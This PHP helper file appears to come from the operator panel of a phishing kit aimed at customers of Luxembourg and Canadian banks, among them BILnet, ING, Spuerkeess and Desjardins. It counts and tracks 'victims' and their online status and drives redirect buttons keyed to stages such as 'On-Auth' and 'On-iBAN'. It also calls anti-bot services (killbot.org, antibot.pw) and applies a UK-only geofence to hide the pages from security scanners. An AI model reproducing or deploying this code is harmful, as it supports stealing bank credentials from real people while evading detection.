<?php

include 'config.php';

$conn = mysqli_connect($servername, $username, $password, $database);
if (!$conn) {
	//die("Connection failed: " . mysqli_connect_error());
}


if (!function_exists('mysqli_fetch_all')) {
    function mysqli_fetch_all(mysqli_result $result) {
        $data = [];
        while ($data[] = $result->fetch_assoc()) {}
        return $data;
    }
}



function status_to_badge($stscode, $path){
    $json = json_decode(file_get_contents($path), true);
    $sts = $json[$stscode];
    if($sts != ''){
        if(strpos($sts, "On-") !== false){
            return "<code style='color:aqua;'><b>$sts</b></code>";
        }elseif(strpos($sts, "After-") !== false){
            return "<code style='color:#E95451;'><b>$sts</b></code>";
        }elseif(strpos($sts, "Finished") !== false){
            return "<code style='color:green;'><b>$sts</b></code>";
        }elseif(strpos($sts, "Banned") !== false){
            return "<code style='color:orange;'><b>$sts</b></code>";
        }
    }
}

function get_next_birthday_age($birthday) {
    $year = explode("/", $birthday);
    $nextb = $year[0] . "-" . $year[1] . "-" . ($year[2]-1);
    $dob = date("d-m-Y",strtotime($nextb));
    $dobObject = new DateTime($dob);
    $nowObject = new DateTime();
    $diff = $dobObject->diff($nowObject);
    return $diff->y;
}

function redirects_btn($stscode, $path){
    $json = json_decode(file_get_contents($path), true);
    $sts = $json[$stscode];
    if($sts != ''){
        if((strpos($sts, "After-") !== false) or (strpos($sts, "On-Auth") !== false) or (strpos($sts, "On-iBAN") !== false)){
            return '1';
        }else{
            return '0';
        }
    }
}


function check_online($lastseen){
    $now = strtotime("-9 seconds");
    if($lastseen < $now){
        return "<code style='color:red;'><b>offline</b></code>";
    }else{
        return "<code style='color:limegreen;'><b>online</b></code>";
    }
}

function total_victims($sqlcon){
    $query = mysqli_query($sqlcon, "SELECT * from victims");
    return mysqli_num_rows($query);
}


function total_visits($sqlcon){
    $query = mysqli_query($sqlcon, "SELECT * from visits");
    return mysqli_num_rows($query);
}

function online_victims($sqlcon){
    $count = 0;
    $query = mysqli_query($sqlcon, "SELECT * from victims");
    if($query){
        if(mysqli_num_rows($query) >= 1){
            $array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC));
        }
    }

    foreach($array as $value){
        $now = strtotime("-9 seconds");
        if($value['lastseen'] > $now){
            $count++;
        }
    }
    
    return $count;
}


function online_handlers($sqlcon){
    $count = 0;
    $query = mysqli_query($sqlcon, "SELECT * from handlers");
    if($query){
        if(mysqli_num_rows($query) >= 1){
            $array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC));
        }
    }

    foreach($array as $value){
        $now = strtotime("-9 seconds");
        if($value['lastseen'] > $now){
            $count++;
        }
    }
    
    return $count;
}


function useragent_to_browser($ua){
    if(strpos($ua, 'MSIE') !== FALSE) $browser = 'internet-explorer'; elseif(strpos($ua, 'Trident') !== FALSE) $browser = 'internet-explorer'; elseif(strpos($ua, 'Firefox') !== FALSE) $browser = 'firefox'; elseif(strpos($ua, 'Chrome') !== FALSE) $browser = 'chrome'; elseif(strpos($ua, 'Opera Mini') !== FALSE) $browser = "opera"; elseif(strpos($ua, 'Opera') !== FALSE) $browser = "Opera"; elseif(strpos($ua, 'Safari') !== FALSE) $browser = "safari"; else $browser = 'question-circle';
    return "<i class='fa fa-$browser fa-lg'></i>";
}

function iname_to_bank($iname) {
    $itype = "";
    switch ($iname) {
        case "i1":
            $itype = "BILnet";
            break;
        case "i2":
            $itype = "ING";
            break;
        case "i3":
            $itype = "Raiffeisen";
            break;
        case "i4":
            $itype = "BGL";
            break;
        case "i5":
            $itype = "Societe Generale";
            break;
        case "i6":
            $itype = "Spuerkeess";
            break;
        case "i7":
            $itype = "Post Eboo";
            break;
        default:
            $itype = "Unknown";
            break;
    }
    return $itype;
}


function iname_to_ilogo($iname, $cfg_url) {
    $ilogo = "";
    switch ($iname) {
        case "i1":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/1.png' alt='BILnet' title='BILnet'>";
            break;
        case "i2":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/2.svg' alt='ING' title='ING'>";
            break;
        case "i3":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/3.svg' alt='Raiffeisen' title='Raiffeisen'>";
            break;
        case "i4":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/4.svg' alt='BGL' title='BGL'>";
            break;
        case "i5":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i5.png' alt='Societe Generale' title='Societe Generale'>";
            break;
        case "i6":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i6.png' alt='Spuerkeess' title='Spuerkeess'>";
            break;
        case "i7":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i7.svg' alt='Post Eboo' title='Post Eboo'>";
            break;
        case "i8":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i8.svg' alt='ATB Financial' title='ATB Financial'>";
            break;
        case "i9":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i9.svg' alt='PC Financial' title='PC Financial'>";
            break;
        case "i10":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i10.svg' alt='MotusBank' title='MotusBank'>";
            break;
        case "i11":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i11.svg' alt='CoastCapital' title='CoastCapital'>";
            break;
        case "i12":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i12.svg' alt='Manulife' title='Manulife'>";
            break;
        case "i13":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i13.svg' alt='Tangerine' title='Tangerine'>";
            break;
        case "i14":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i14.svg' alt='Peoples Trust' title='Peoples Trust'>";
            break;
        case "i15":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i15.svg' alt='Laurentian' title='Laurentian'>";
            break;
        case "i16":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i16.svg' alt='Desjardins' title='Desjardins'>";
            break;
        case "i17":
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/i17.svg' alt='Meridian' title='Meridian'>";
            break;
        default:
            $ilogo = "<img class='ilogos' src='../$cfg_url/theme/unknown.svg' alt='Unknown' title='Unknown'>";
            break;
    }
    return $ilogo;
}






function file_get_contents_curl2($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);       

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

function getrealUserIP(){
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        $_SERVER['HTTP_X_REAL_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
        $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
    }
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    if(filter_var($client, FILTER_VALIDATE_IP)){
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP)){
        $ip = $forward;
    }
    else{
        $ip = $remote;
    }
    return $ip;
}

function checkkillbot($apikey) {
    $ip         = getrealUserIP();
    $respons    = file_get_contents_curl2("https://killbot.org/api/v2/blocker?ip=".$ip."&apikey=$apikey&ua=".urlencode($_SERVER['HTTP_USER_AGENT'])."&url=".urldecode($_SERVER['REQUEST_URI']));
    $json       = json_decode($respons,true);
    if($json['meta']['code'] == 200) {
        if($json['data']['block_access'] == true) {
            // blocked
            return true;
        } else {
            return false;
        }
    } else {
        if(!empty($json['meta']['message'])) {
            return false;
        } else {
            return false;
        }
    }
}
function onlyuk(){
	$ip = getrealUserIP();
	$req = json_decode(file_get_contents_curl2("https://antibot.pw/api/ip?ip=$ip"),true);
	if($req['countryCode'] == 'GB'){
		return true;
	}else{
		return false;
	}
}
function checkBot($apikey){
	$ip = getrealUserIP();
	$url 		= "https://antibot.pw/api/v2-blockers?ip=$ip&apikey=$apikey&ua=".urlencode($_SERVER['HTTP_USER_AGENT']);
	$respons 	= file_get_contents_curl2($url);
	return json_decode($respons,true)['is_bot'];
}

function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

?>